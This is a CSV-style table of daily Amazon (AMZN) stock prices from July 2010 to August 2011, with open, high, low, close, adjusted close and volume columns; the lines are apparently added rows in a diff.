+2010-07-07,109.83999633789062,113.62999725341797,109.80999755859375,113.43000030517578,113.43000030517578,4941000,AMZN
+2010-07-08,115.0199966430664,117.4800033569336,114.06999969482422,116.22000122070312,116.22000122070312,6775000,AMZN
+2010-07-09,116.55000305175781,117.4000015258789,114.6500015258789,117.26000213623047,117.26000213623047,4065100,AMZN
+2010-07-12,117.80999755859375,119.69999694824219,117.31999969482422,119.51000213623047,119.51000213623047,4783600,AMZN
+2010-07-13,120.69000244140625,124.87999725341797,120.30000305175781,123.6500015258789,123.6500015258789,7091100,AMZN
+2010-07-14,123.02999877929688,123.75,121.47000122070312,123.30000305175781,123.30000305175781,5257000,AMZN
+2010-07-15,120.12999725341797,122.4800033569336,119.26000213623047,122.05999755859375,122.05999755859375,6047700,AMZN
+2010-07-16,121.27999877929688,121.91999816894531,118.01000213623047,118.48999786376953,118.48999786376953,6227900,AMZN
+2010-07-19,118.37999725341797,120.73999786376953,117.0,119.94000244140625,119.94000244140625,5030900,AMZN
+2010-07-20,120.61000061035156,120.70999908447266,117.51000213623047,120.0999984741211,120.0999984741211,6785000,AMZN
+2010-07-21,120.62000274658203,121.25,117.26000213623047,117.43000030517578,117.43000030517578,5011700,AMZN
+2010-07-22,118.70999908447266,120.87000274658203,118.0199966430664,120.06999969482422,120.06999969482422,15003400,AMZN
+2010-07-23,105.93000030517578,119.27999877929688,105.80000305175781,118.87000274658203,118.87000274658203,42421100,AMZN
+2010-07-26,118.26000213623047,118.5999984741211,114.87999725341797,118.4000015258789,118.4000015258789,11137800,AMZN
+2010-07-27,118.43000030517578,118.5,115.06999969482422,117.12999725341797,117.12999725341797,7796100,AMZN
+2010-07-28,117.0,118.19999694824219,116.4000015258789,117.12999725341797,117.12999725341797,5472300,AMZN
+2010-07-29,117.98999786376953,118.87000274658203,115.5199966430664,116.86000061035156,116.86000061035156,6175800,AMZN
+2010-07-30,115.52999877929688,118.73999786376953,114.51000213623047,117.88999938964844,117.88999938964844,7077500,AMZN
+2010-08-02,119.1500015258789,120.37999725341797,117.56999969482422,120.06999969482422,120.06999969482422,5443700,AMZN
+2010-08-03,120.0,122.87000274658203,119.68000030517578,122.41999816894531,122.41999816894531,5953800,AMZN
+2010-08-04,123.05999755859375,128.47000122070312,123.0,127.58000183105469,127.58000183105469,9270800,AMZN
+2010-08-05,126.7699966430664,128.0,125.81999969482422,127.83000183105469,127.83000183105469,4282300,AMZN
+2010-08-06,126.72000122070312,128.39999389648438,125.9000015258789,128.32000732421875,128.32000732421875,5065200,AMZN
+2010-08-09,128.4600067138672,129.92999267578125,127.8499984741211,128.8300018310547,128.8300018310547,5085800,AMZN
+2010-08-10,127.94999694824219,130.0,127.37999725341797,130.0,130.0,5706900,AMZN
+2010-08-11,128.10000610351562,128.1199951171875,125.19999694824219,125.88999938964844,125.88999938964844,5541700,AMZN
+2010-08-12,123.76000213623047,127.0,123.55000305175781,126.55999755859375,126.55999755859375,4367900,AMZN
+2010-08-13,126.05999755859375,127.4800033569336,124.26000213623047,124.69000244140625,124.69000244140625,3976600,AMZN
+2010-08-16,123.61000061035156,127.37000274658203,123.04000091552734,126.06999969482422,126.06999969482422,4024700,AMZN
+2010-08-17,127.33999633789062,129.97999572753906,126.79000091552734,128.86000061035156,128.86000061035156,5044700,AMZN
+2010-08-18,129.25,130.80999755859375,128.25999450683594,129.64999389648438,129.64999389648438,7901500,AMZN
+2010-08-19,129.22000122070312,130.02000427246094,126.81999969482422,127.56999969482422,127.56999969482422,5582500,AMZN
+2010-08-20,127.19999694824219,128.0399932861328,126.0199966430664,127.76000213623047,127.76000213623047,4170100,AMZN
+2010-08-23,127.86000061035156,129.22000122070312,126.5,126.5999984741211,126.5999984741211,3861300,AMZN
+2010-08-24,125.41000366210938,125.44000244140625,123.18000030517578,124.52999877929688,124.52999877929688,5369700,AMZN
+2010-08-25,123.8499984741211,127.37000274658203,123.83000183105469,126.8499984741211,126.8499984741211,5344500,AMZN
+2010-08-26,127.1500015258789,127.58999633789062,124.81999969482422,124.86000061035156,124.86000061035156,4694500,AMZN
+2010-08-27,125.45999908447266,126.63999938964844,122.25,126.63999938964844,126.63999938964844,5080000,AMZN
+2010-08-30,126.02999877929688,126.94999694824219,123.69000244140625,123.79000091552734,123.79000091552734,3426000,AMZN
+2010-08-31,122.8499984741211,125.9000015258789,122.5,124.83000183105469,124.83000183105469,4225600,AMZN
+2010-09-01,126.36000061035156,132.60000610351562,126.16999816894531,132.49000549316406,132.49000549316406,7138300,AMZN
+2010-09-02,132.1699981689453,135.2100067138672,132.0500030517578,135.2100067138672,135.2100067138672,5407400,AMZN
+2010-09-03,136.88999938964844,139.5,136.6300048828125,138.7899932861328,138.7899932861328,6581200,AMZN
+2010-09-07,137.55999755859375,138.60000610351562,136.88999938964844,137.22000122070312,137.22000122070312,3883000,AMZN
+2010-09-08,137.92999267578125,139.6999969482422,136.4499969482422,139.13999938964844,139.13999938964844,5828500,AMZN
+2010-09-09,140.38999938964844,141.3699951171875,139.25999450683594,140.3800048828125,140.3800048828125,4958000,AMZN
+2010-09-10,140.75,142.60000610351562,140.0399932861328,142.44000244140625,142.44000244140625,5043600,AMZN
+2010-09-13,144.07000732421875,145.74000549316406,143.75999450683594,145.07000732421875,145.07000732421875,5077400,AMZN
+2010-09-14,144.5,146.6999969482422,143.8300018310547,145.75,145.75,4319400,AMZN
+2010-09-15,144.8800048828125,145.6199951171875,143.55999755859375,145.4499969482422,145.4499969482422,4903600,AMZN
+2010-09-16,145.39999389648438,148.22999572753906,145.16000366210938,148.1300048828125,148.1300048828125,5827000,AMZN
+2010-09-17,148.89999389648438,148.97999572753906,146.5,148.32000732421875,148.32000732421875,7259600,AMZN
+2010-09-20,148.6999969482422,151.9499969482422,147.35000610351562,151.3000030517578,151.3000030517578,6449400,AMZN
+2010-09-21,150.75999450683594,153.30999755859375,149.60000610351562,150.72999572753906,150.72999572753906,7542000,AMZN
+2010-09-22,149.83999633789062,152.6999969482422,149.10000610351562,151.8300018310547,151.8300018310547,6612400,AMZN
+2010-09-23,151.1999969482422,155.9199981689453,150.97000122070312,152.85000610351562,152.85000610351562,7065600,AMZN
+2010-09-24,155.42999267578125,160.88999938964844,155.4199981689453,160.72999572753906,160.72999572753906,10590600,AMZN
+2010-09-27,160.22000122070312,161.1999969482422,157.8800048828125,159.3699951171875,159.3699951171875,6446300,AMZN
+2010-09-28,159.83999633789062,160.8800048828125,154.88999938964844,159.6999969482422,159.6999969482422,8494200,AMZN
+2010-09-29,159.02999877929688,161.77999877929688,157.75,158.99000549316406,158.99000549316406,7287500,AMZN
+2010-09-30,160.00999450683594,160.92999267578125,155.60000610351562,157.05999755859375,157.05999755859375,7606000,AMZN
+2010-10-01,157.0800018310547,157.44000244140625,152.1999969482422,153.7100067138672,153.7100067138672,8683400,AMZN
+2010-10-04,153.9499969482422,155.9600067138672,152.7899932861328,155.38999938964844,155.38999938964844,5346500,AMZN
+2010-10-05,157.0800018310547,161.2100067138672,157.00999450683594,160.8699951171875,160.8699951171875,5620000,AMZN
+2010-10-06,160.60000610351562,160.67999267578125,154.60000610351562,155.39999389648438,155.39999389648438,6060800,AMZN
+2010-10-07,156.50999450683594,157.39999389648438,153.38999938964844,156.27000427246094,156.27000427246094,4622000,AMZN
+2010-10-08,155.17999267578125,156.27999877929688,152.77999877929688,155.5500030517578,155.5500030517578,6918400,AMZN
+2010-10-11,154.88999938964844,156.6300048828125,152.33999633789062,153.02999877929688,153.02999877929688,4486400,AMZN
+2010-10-12,152.50999450683594,156.9499969482422,151.39999389648438,156.47999572753906,156.47999572753906,5280800,AMZN
+2010-10-13,156.69000244140625,156.7899932861328,153.85000610351562,155.1699981689453,155.1699981689453,5632800,AMZN
+2010-10-14,155.16000366210938,156.9499969482422,154.22999572753906,155.52999877929688,155.52999877929688,4024100,AMZN
+2010-10-15,158.4199981689453,164.8800048828125,156.75,164.63999938964844,164.63999938964844,10135500,AMZN
+2010-10-18,165.0,165.19000244140625,161.82000732421875,163.55999755859375,163.55999755859375,6331300,AMZN
+2010-10-19,160.67999267578125,162.8000030517578,157.0,158.6699981689453,158.6699981689453,7525000,AMZN
+2010-10-20,158.77999877929688,159.8699951171875,156.57000732421875,158.6699981689453,158.6699981689453,5790400,AMZN
+2010-10-21,162.6699981689453,166.1300048828125,161.2899932861328,164.97000122070312,164.97000122070312,13482500,AMZN
+2010-10-22,162.4499969482422,170.1699981689453,162.27000427246094,169.1300048828125,169.1300048828125,16318400,AMZN
+2010-10-25,171.57000732421875,171.99000549316406,168.32000732421875,169.0,169.0,6530900,AMZN
+2010-10-26,167.57000732421875,171.0,167.5,169.9499969482422,169.9499969482422,4689600,AMZN
+2010-10-27,168.91000366210938,169.75,166.5399932861328,167.50999450683594,167.50999450683594,5721800,AMZN
+2010-10-28,168.30999755859375,168.49000549316406,165.0500030517578,166.83999633789062,166.83999633789062,4684400,AMZN
+2010-10-29,165.8000030517578,168.5,164.80999755859375,165.22999572753906,165.22999572753906,4998500,AMZN
+2010-11-01,164.4499969482422,164.5800018310547,161.52000427246094,162.5800018310547,162.5800018310547,5239900,AMZN
+2010-11-02,163.75,165.94000244140625,163.36000061035156,164.61000061035156,164.61000061035156,4260000,AMZN
+2010-11-03,165.39999389648438,168.61000061035156,162.2899932861328,168.47000122070312,168.47000122070312,6112100,AMZN
+2010-11-04,169.86000061035156,172.52999877929688,168.39999389648438,168.92999267578125,168.92999267578125,7395900,AMZN
+2010-11-05,169.35000610351562,171.64999389648438,168.58999633789062,170.77000427246094,170.77000427246094,5212200,AMZN
+2010-11-08,170.83999633789062,173.1999969482422,168.77999877929688,171.99000549316406,171.99000549316406,5706000,AMZN
+2010-11-09,172.6699981689453,173.13999938964844,169.05999755859375,170.27000427246094,170.27000427246094,3978600,AMZN
+2010-11-10,170.58999633789062,173.3699951171875,169.41000366210938,173.3300018310547,173.3300018310547,5440300,AMZN
+2010-11-11,171.0,172.0500030517578,169.4199981689453,170.3699951171875,170.3699951171875,5691700,AMZN
+2010-11-12,170.1199951171875,171.25999450683594,165.0500030517578,165.67999267578125,165.67999267578125,7160600,AMZN
+2010-11-15,165.16000366210938,165.35000610351562,158.55999755859375,158.89999389648438,158.89999389648438,9648600,AMZN
+2010-11-16,158.74000549316406,160.91000366210938,156.77000427246094,157.77999877929688,157.77999877929688,6571400,AMZN
+2010-11-17,157.83999633789062,160.85000610351562,157.5500030517578,158.35000610351562,158.35000610351562,4524900,AMZN
+2010-11-18,160.74000549316406,165.0,160.74000549316406,164.1699981689453,164.1699981689453,6225300,AMZN
+2010-11-19,163.9499969482422,164.99000549316406,162.83999633789062,164.82000732421875,164.82000732421875,4464800,AMZN
+2010-11-22,165.10000610351562,170.60000610351562,165.0,170.38999938964844,170.38999938964844,6142500,AMZN
+2010-11-23,168.61000061035156,168.80999755859375,164.6199951171875,168.1999969482422,168.1999969482422,6465300,AMZN
+2010-11-24,171.52999877929688,177.88999938964844,171.52999877929688,177.25,177.25,10042500,AMZN
+2010-11-26,177.36000061035156,178.3800048828125,176.16000366210938,177.1999969482422,177.1999969482422,4271600,AMZN
+2010-11-29,179.99000549316406,181.83999633789062,177.57000732421875,179.49000549316406,179.49000549316406,9695000,AMZN
+2010-11-30,176.9499969482422,177.6999969482422,174.89999389648438,175.39999389648438,175.39999389648438,6762200,AMZN
+2010-12-01,179.16000366210938,179.32000732421875,176.0,176.5500030517578,176.5500030517578,5770100,AMZN
+2010-12-02,176.86000061035156,177.4499969482422,173.9199981689453,176.52999877929688,176.52999877929688,5537600,AMZN
+2010-12-03,175.5,176.39999389648438,174.0500030517578,175.67999267578125,175.67999267578125,4907500,AMZN
+2010-12-06,175.52000427246094,178.42999267578125,174.60000610351562,178.0500030517578,178.0500030517578,5654200,AMZN
+2010-12-07,180.5,181.47000122070312,176.57000732421875,176.77000427246094,176.77000427246094,5077100,AMZN
+2010-12-08,177.49000549316406,178.16000366210938,175.1999969482422,176.2899932861328,176.2899932861328,3726900,AMZN
+2010-12-09,177.77000427246094,178.11000061035156,173.8000030517578,174.85000610351562,174.85000610351562,4555500,AMZN
+2010-12-10,174.8800048828125,175.9499969482422,173.36000061035156,175.6199951171875,175.6199951171875,3565500,AMZN
+2010-12-13,176.3300018310547,177.94000244140625,173.72999572753906,174.25,174.25,4202500,AMZN
+2010-12-14,174.27999877929688,175.75999450683594,173.08999633789062,173.94000244140625,173.94000244140625,3685300,AMZN
+2010-12-15,173.72000122070312,179.0,173.58999633789062,175.57000732421875,175.57000732421875,5810500,AMZN
+2010-12-16,175.5800018310547,178.3000030517578,175.0399932861328,178.0399932861328,178.0399932861328,4121500,AMZN
+2010-12-17,178.41000366210938,178.75,177.02000427246094,177.5800018310547,177.5800018310547,4507300,AMZN
+2010-12-20,179.27000427246094,183.97999572753906,178.0399932861328,183.2899932861328,183.2899932861328,8735300,AMZN
+2010-12-21,183.8800048828125,185.64999389648438,182.60000610351562,184.75,184.75,5111000,AMZN
+2010-12-22,185.0,185.4499969482422,184.11000061035156,184.75999450683594,184.75999450683594,2578100,AMZN
+2010-12-23,184.33999633789062,184.97999572753906,181.88999938964844,182.58999633789062,182.58999633789062,3358200,AMZN
+2010-12-27,181.89999389648438,183.13999938964844,180.4499969482422,182.13999938964844,182.13999938964844,2249400,AMZN
+2010-12-28,182.10000610351562,182.77000427246094,181.0500030517578,181.08999633789062,181.08999633789062,1975000,AMZN
+2010-12-29,181.8000030517578,184.35000610351562,180.41000366210938,183.3699951171875,183.3699951171875,3120100,AMZN
+2010-12-30,183.9199981689453,184.5500030517578,182.75,182.75,182.75,1961200,AMZN
+2010-12-31,181.9600067138672,182.3000030517578,179.50999450683594,180.0,180.0,3451900,AMZN
+2011-01-03,181.3699951171875,186.0,181.2100067138672,184.22000122070312,184.22000122070312,5331400,AMZN
+2011-01-04,186.14999389648438,187.6999969482422,183.77999877929688,185.00999450683594,185.00999450683594,5031800,AMZN
+2011-01-05,184.10000610351562,187.4499969482422,184.07000732421875,187.4199981689453,187.4199981689453,3418800,AMZN
+2011-01-06,186.5,187.41000366210938,185.25,185.86000061035156,185.86000061035156,3179700,AMZN
+2011-01-07,187.8800048828125,188.4499969482422,183.74000549316406,185.49000549316406,185.49000549316406,5221700,AMZN
+2011-01-10,185.0399932861328,185.2899932861328,182.50999450683594,184.67999267578125,184.67999267578125,3375900,AMZN
+2011-01-11,185.4199981689453,186.0,183.2100067138672,184.33999633789062,184.33999633789062,2814200,AMZN
+2011-01-12,185.36000061035156,185.3800048828125,183.3000030517578,184.0800018310547,184.0800018310547,2679100,AMZN
+2011-01-13,183.60000610351562,186.4499969482422,183.50999450683594,185.52999877929688,185.52999877929688,3367000,AMZN
+2011-01-14,185.5,188.94000244140625,184.9199981689453,188.75,188.75,3662800,AMZN
+2011-01-18,188.66000366210938,191.60000610351562,188.25,191.25,191.25,3896200,AMZN
+2011-01-19,190.89999389648438,191.0,186.2100067138672,186.8699951171875,186.8699951171875,3882400,AMZN
+2011-01-20,185.2899932861328,186.85000610351562,181.0,181.9600067138672,181.9600067138672,5709900,AMZN
+2011-01-21,183.0,183.25,176.83999633789062,177.4199981689453,177.4199981689453,6806200,AMZN
+2011-01-24,177.9499969482422,178.49000549316406,174.14999389648438,176.85000610351562,176.85000610351562,5600300,AMZN
+2011-01-25,175.5,176.75,174.27999877929688,176.6999969482422,176.6999969482422,4651000,AMZN
+2011-01-26,177.50999450683594,177.88999938964844,174.6300048828125,175.38999938964844,175.38999938964844,3762200,AMZN
+2011-01-27,177.47999572753906,185.0,177.30999755859375,184.4499969482422,184.4499969482422,14594400,AMZN
+2011-01-28,171.4499969482422,173.7100067138672,166.89999389648438,171.13999938964844,171.13999938964844,19908200,AMZN
+2011-01-31,170.16000366210938,171.44000244140625,167.41000366210938,169.63999938964844,169.63999938964844,6718100,AMZN
+2011-02-01,170.52000427246094,173.10000610351562,169.50999450683594,172.11000061035156,172.11000061035156,5085900,AMZN
+2011-02-02,171.4199981689453,175.1999969482422,170.8699951171875,173.52999877929688,173.52999877929688,4547500,AMZN
+2011-02-03,173.5,174.6699981689453,171.9499969482422,173.7100067138672,173.7100067138672,3678900,AMZN
+2011-02-04,174.0,177.19000244140625,173.75,175.92999267578125,175.92999267578125,4347800,AMZN
+2011-02-07,176.14999389648438,177.5500030517578,174.77000427246094,176.42999267578125,176.42999267578125,5254700,AMZN
+2011-02-08,176.66000366210938,183.11000061035156,176.58999633789062,183.05999755859375,183.05999755859375,7794900,AMZN
+2011-02-09,183.14999389648438,186.47000122070312,182.25999450683594,185.3000030517578,185.3000030517578,8312700,AMZN
+2011-02-10,184.38999938964844,187.24000549316406,183.60000610351562,186.2100067138672,186.2100067138672,5331400,AMZN
+2011-02-11,185.55999755859375,189.5,185.3699951171875,189.25,189.25,4487900,AMZN
+2011-02-14,189.25,191.39999389648438,188.35000610351562,190.4199981689453,190.4199981689453,4061300,AMZN
+2011-02-15,188.72999572753906,190.49000549316406,188.25,189.02999877929688,189.02999877929688,3890900,AMZN
+2011-02-16,189.77000427246094,190.0,186.35000610351562,186.6199951171875,186.6199951171875,4628200,AMZN
+2011-02-17,185.77000427246094,189.08999633789062,185.30999755859375,187.75999450683594,187.75999450683594,3425500,AMZN
+2011-02-18,187.5399932861328,188.5,185.1300048828125,186.5,186.5,4178600,AMZN
+2011-02-22,183.67999267578125,184.72000122070312,179.32000732421875,180.4199981689453,180.4199981689453,5637100,AMZN
+2011-02-23,180.25,181.14999389648438,174.38999938964844,176.67999267578125,176.67999267578125,5482000,AMZN
+2011-02-24,176.86000061035156,179.75,174.55999755859375,177.75,177.75,4656500,AMZN
+2011-02-25,178.9499969482422,180.75,177.10000610351562,177.24000549316406,177.24000549316406,4191400,AMZN
+2011-02-28,173.91000366210938,175.88999938964844,172.14999389648438,173.2899932861328,173.2899932861328,6783200,AMZN
+2011-03-01,173.52999877929688,173.9600067138672,168.6699981689453,169.44000244140625,169.44000244140625,5847100,AMZN
+2011-03-02,169.08999633789062,173.3000030517578,168.35000610351562,172.02000427246094,172.02000427246094,5185700,AMZN
+2011-03-03,173.7100067138672,174.4600067138672,172.0500030517578,172.7899932861328,172.7899932861328,4138200,AMZN
+2011-03-04,172.6199951171875,172.75,169.50999450683594,171.6699981689453,171.6699981689453,4924300,AMZN
+2011-03-07,171.9199981689453,172.08999633789062,166.24000549316406,169.0800018310547,169.0800018310547,5932900,AMZN
+2011-03-08,169.38999938964844,169.7100067138672,166.72000122070312,166.88999938964844,166.88999938964844,4219000,AMZN
+2011-03-09,166.6699981689453,169.75,163.89999389648438,169.0500030517578,169.0500030517578,7108900,AMZN
+2011-03-10,167.07000732421875,168.47000122070312,164.82000732421875,166.13999938964844,166.13999938964844,5998400,AMZN
+2011-03-11,165.5,169.1999969482422,164.1199951171875,168.07000732421875,168.07000732421875,4609900,AMZN
+2011-03-14,166.60000610351562,168.0800018310547,164.57000732421875,166.72999572753906,166.72999572753906,4022000,AMZN
+2011-03-15,161.38999938964844,166.8800048828125,160.75999450683594,165.0800018310547,165.0800018310547,4934500,AMZN
+2011-03-16,164.6999969482422,168.13999938964844,162.8699951171875,164.6999969482422,164.6999969482422,5208100,AMZN
+2011-03-17,165.91000366210938,166.3000030517578,160.77999877929688,160.97000122070312,160.97000122070312,6471400,AMZN
+2011-03-18,161.19000244140625,163.5399932861328,160.58999633789062,161.82000732421875,161.82000732421875,7442700,AMZN
+2011-03-21,163.3699951171875,165.7899932861328,161.72000122070312,164.52000427246094,164.52000427246094,4055100,AMZN
+2011-03-22,164.07000732421875,164.44000244140625,162.25,162.60000610351562,162.60000610351562,3611400,AMZN
+2011-03-23,162.3000030517578,166.25999450683594,160.82000732421875,165.32000732421875,165.32000732421875,4721300,AMZN
+2011-03-24,168.2100067138672,172.0,167.36000061035156,171.10000610351562,171.10000610351562,6283200,AMZN
+2011-03-25,171.63999938964844,173.49000549316406,170.3000030517578,170.97999572753906,170.97999572753906,4293800,AMZN
+2011-03-28,171.8000030517578,172.5,169.25,169.35000610351562,169.35000610351562,3400800,AMZN
+2011-03-29,170.72999572753906,174.83999633789062,170.07000732421875,174.6199951171875,174.6199951171875,4884600,AMZN
+2011-03-30,177.77999877929688,181.16000366210938,177.66000366210938,179.4199981689453,179.4199981689453,6859300,AMZN
+2011-03-31,179.30999755859375,181.57000732421875,178.5,180.1300048828125,180.1300048828125,4826500,AMZN
+2011-04-01,181.5800018310547,183.25,178.58999633789062,180.1300048828125,180.1300048828125,5684100,AMZN
+2011-04-04,180.88999938964844,183.61000061035156,180.69000244140625,182.94000244140625,182.94000244140625,4186400,AMZN
+2011-04-05,182.10000610351562,186.36000061035156,181.8000030517578,185.2899932861328,185.2899932861328,5569200,AMZN
+2011-04-06,186.14999389648438,188.27000427246094,181.1199951171875,182.75999450683594,182.75999450683594,5430700,AMZN
+2011-04-07,182.77999877929688,185.1699981689453,181.75999450683594,184.91000366210938,184.91000366210938,4564000,AMZN
+2011-04-08,185.25999450683594,186.22000122070312,182.77999877929688,184.7100067138672,184.7100067138672,3726400,AMZN
+2011-04-11,184.86000061035156,186.49000549316406,181.85000610351562,184.0399932861328,184.0399932861328,3297100,AMZN
+2011-04-12,183.05999755859375,184.58999633789062,179.4199981689453,180.47999572753906,180.47999572753906,5334500,AMZN
+2011-04-13,180.8300018310547,182.8800048828125,179.8000030517578,182.2899932861328,182.2899932861328,4216300,AMZN
+2011-04-14,181.38999938964844,182.0800018310547,179.36000061035156,181.82000732421875,181.82000732421875,3588200,AMZN
+2011-04-15,181.0,181.77999877929688,179.02000427246094,180.00999450683594,180.00999450683594,4272400,AMZN
+2011-04-18,178.3800048828125,178.91000366210938,175.3699951171875,178.33999633789062,178.33999633789062,4616500,AMZN
+2011-04-19,178.35000610351562,179.47000122070312,176.60000610351562,178.82000732421875,178.82000732421875,2646000,AMZN
+2011-04-20,181.6199951171875,185.0,181.58999633789062,183.8699951171875,183.8699951171875,4067500,AMZN
+2011-04-21,184.55999755859375,185.97000122070312,183.0500030517578,185.88999938964844,185.88999938964844,3348100,AMZN
+2011-04-25,185.64999389648438,186.35000610351562,183.77000427246094,185.4199981689453,185.4199981689453,3438100,AMZN
+2011-04-26,186.27000427246094,186.4199981689453,180.74000549316406,182.3000030517578,182.3000030517578,11200000,AMZN
+2011-04-27,183.1999969482422,197.8000030517578,182.75,196.6300048828125,196.6300048828125,23623000,AMZN
+2011-04-28,195.9600067138672,196.7899932861328,192.27000427246094,195.07000732421875,195.07000732421875,7300000,AMZN
+2011-04-29,194.3800048828125,196.58999633789062,193.77999877929688,195.80999755859375,195.80999755859375,6640900,AMZN
+2011-05-02,196.57000732421875,203.4199981689453,196.17999267578125,201.19000244140625,201.19000244140625,9398100,AMZN
+2011-05-03,201.0,202.58999633789062,196.69000244140625,198.4499969482422,198.4499969482422,6100000,AMZN
+2011-05-04,198.25,201.86000061035156,195.3699951171875,199.97000122070312,199.97000122070312,6550000,AMZN
+2011-05-05,198.66000366210938,201.0,196.1199951171875,197.11000061035156,197.11000061035156,4600000,AMZN
+2011-05-06,199.10000610351562,199.55999755859375,196.55999755859375,197.60000610351562,197.60000610351562,4013900,AMZN
+2011-05-09,198.33999633789062,202.36000061035156,196.77999877929688,200.8000030517578,200.8000030517578,5825400,AMZN
+2011-05-10,201.94000244140625,205.2899932861328,201.55999755859375,203.94000244140625,203.94000244140625,5885900,AMZN
+2011-05-11,203.1199951171875,205.5,202.25,204.3800048828125,204.3800048828125,4809000,AMZN
+2011-05-12,204.22000122070312,206.19000244140625,200.6199951171875,206.07000732421875,206.07000732421875,4800000,AMZN
+2011-05-13,205.6999969482422,206.38999938964844,202.36000061035156,202.55999755859375,202.55999755859375,4123700,AMZN
+2011-05-16,200.5399932861328,200.89999389648438,191.3699951171875,192.50999450683594,192.50999450683594,9386400,AMZN
+2011-05-17,191.82000732421875,195.97999572753906,191.75999450683594,194.80999755859375,194.80999755859375,7073300,AMZN
+2011-05-18,194.1300048828125,198.27999877929688,193.25,197.08999633789062,197.08999633789062,4955800,AMZN
+2011-05-19,198.3300018310547,199.9499969482422,197.5500030517578,198.8000030517578,198.8000030517578,3701200,AMZN
+2011-05-20,197.9499969482422,199.8000030517578,197.24000549316406,198.64999389648438,198.64999389648438,3381000,AMZN
+2011-05-23,195.55999755859375,197.2899932861328,192.02000427246094,196.22000122070312,196.22000122070312,4200000,AMZN
+2011-05-24,197.0,197.0,193.0,193.27000427246094,193.27000427246094,2972700,AMZN
+2011-05-25,193.57000732421875,194.35000610351562,191.13999938964844,192.25999450683594,192.25999450683594,4661300,AMZN
+2011-05-26,191.24000549316406,196.4499969482422,190.8800048828125,195.0,195.0,4075200,AMZN
+2011-05-27,194.75999450683594,196.1199951171875,193.5,194.1300048828125,194.1300048828125,2352600,AMZN
+2011-05-31,195.94000244140625,198.44000244140625,195.02999877929688,196.69000244140625,196.69000244140625,3409000,AMZN
+2011-06-01,196.05999755859375,197.25999450683594,192.0500030517578,192.39999389648438,192.39999389648438,3445200,AMZN
+2011-06-02,192.27999877929688,194.44000244140625,190.55999755859375,193.64999389648438,193.64999389648438,3044900,AMZN
+2011-06-03,191.22999572753906,193.2100067138672,187.6199951171875,188.32000732421875,188.32000732421875,4974500,AMZN
+2011-06-06,188.00999450683594,189.85000610351562,185.17999267578125,185.69000244140625,185.69000244140625,3716000,AMZN
+2011-06-07,185.72000122070312,190.6300048828125,185.52000427246094,187.5500030517578,187.5500030517578,4866500,AMZN
+2011-06-08,187.4499969482422,189.80999755859375,186.32000732421875,188.0500030517578,188.0500030517578,3716600,AMZN
+2011-06-09,189.74000549316406,191.75999450683594,185.7100067138672,189.67999267578125,189.67999267578125,4187300,AMZN
+2011-06-10,189.25,190.77000427246094,186.27999877929688,186.52999877929688,186.52999877929688,3760400,AMZN
+2011-06-13,186.80999755859375,189.30999755859375,184.86000061035156,186.2899932861328,186.2899932861328,3868900,AMZN
+2011-06-14,188.99000549316406,190.72000122070312,187.07000732421875,189.9600067138672,189.9600067138672,3960300,AMZN
+2011-06-15,188.0399932861328,192.4499969482422,185.3000030517578,185.97999572753906,185.97999572753906,6317700,AMZN
+2011-06-16,185.74000549316406,187.0,181.58999633789062,183.64999389648438,183.64999389648438,6032100,AMZN
+2011-06-17,186.50999450683594,187.38999938964844,184.63999938964844,186.3699951171875,186.3699951171875,6322200,AMZN
+2011-06-20,185.9600067138672,188.85000610351562,185.57000732421875,187.72000122070312,187.72000122070312,2831700,AMZN
+2011-06-21,188.3000030517578,195.0,187.1199951171875,194.22999572753906,194.22999572753906,4182600,AMZN
+2011-06-22,193.9600067138672,195.1999969482422,191.32000732421875,191.6300048828125,191.6300048828125,3129700,AMZN
+2011-06-23,189.5,194.4600067138672,188.3000030517578,194.16000366210938,194.16000366210938,4609600,AMZN
+2011-06-24,193.8800048828125,194.9199981689453,191.35000610351562,192.5500030517578,192.5500030517578,3614500,AMZN
+2011-06-27,194.5,202.5800018310547,194.02999877929688,201.25,201.25,6100700,AMZN
+2011-06-28,201.9199981689453,202.8800048828125,200.60000610351562,202.35000610351562,202.35000610351562,3825300,AMZN
+2011-06-29,202.6699981689453,206.25,201.02999877929688,204.17999267578125,204.17999267578125,4608900,AMZN
+2011-06-30,200.77999877929688,205.1999969482422,200.5,204.49000549316406,204.49000549316406,4448100,AMZN
+2011-07-01,205.5500030517578,210.27000427246094,203.61000061035156,209.49000549316406,209.49000549316406,4008700,AMZN
+2011-07-05,208.75999450683594,214.4499969482422,208.72999572753906,213.19000244140625,213.19000244140625,3585200,AMZN
+2011-07-06,212.1199951171875,214.39999389648438,211.00999450683594,214.19000244140625,214.19000244140625,2607600,AMZN
+2011-07-07,215.08999633789062,217.8000030517578,215.08999633789062,216.74000549316406,216.74000549316406,3144900,AMZN
+2011-07-08,214.3000030517578,218.32000732421875,213.25,218.27999877929688,218.27999877929688,3707900,AMZN
+2011-07-11,216.74000549316406,217.5,211.0,212.5500030517578,212.5500030517578,4033700,AMZN
+2011-07-12,214.63999938964844,215.64999389648438,211.1199951171875,211.22999572753906,211.22999572753906,3985700,AMZN
+2011-07-13,214.6999969482422,216.8300018310547,212.13999938964844,213.5,213.5,4229900,AMZN
+2011-07-14,213.5800018310547,215.91000366210938,209.3800048828125,210.3800048828125,210.3800048828125,3902500,AMZN
+2011-07-15,213.0800018310547,214.52999877929688,209.2899932861328,212.8699951171875,212.8699951171875,4072600,AMZN
+2011-07-18,212.52999877929688,213.38999938964844,208.2899932861328,211.52999877929688,211.52999877929688,2898100,AMZN
+2011-07-19,213.77000427246094,218.39999389648438,213.77000427246094,218.05999755859375,218.05999755859375,4437200,AMZN
+2011-07-20,220.0500030517578,220.1999969482422,214.41000366210938,215.5500030517578,215.5500030517578,3372900,AMZN
+2011-07-21,216.74000549316406,217.08999633789062,211.07000732421875,213.2100067138672,213.2100067138672,4545300,AMZN
+2011-07-22,213.86000061035156,217.9499969482422,211.11000061035156,216.52000427246094,216.52000427246094,3591700,AMZN
+2011-07-25,215.49000549316406,216.0800018310547,213.0,213.49000549316406,213.49000549316406,3342800,AMZN
+2011-07-26,214.99000549316406,215.60000610351562,210.35000610351562,214.17999267578125,214.17999267578125,9863600,AMZN
+2011-07-27,224.38999938964844,227.1999969482422,219.6199951171875,222.52000427246094,222.52000427246094,12955600,AMZN
+2011-07-28,223.27000427246094,225.9499969482422,220.22999572753906,223.89999389648438,223.89999389648438,5354900,AMZN
+2011-07-29,221.2899932861328,225.75,219.50999450683594,222.52000427246094,222.52000427246094,5167700,AMZN
+2011-08-01,225.0,227.4499969482422,217.66000366210938,221.32000732421875,221.32000732421875,5789300,AMZN
+2011-08-02,220.32000732421875,222.42999267578125,211.3000030517578,211.6999969482422,211.6999969482422,6586700,AMZN
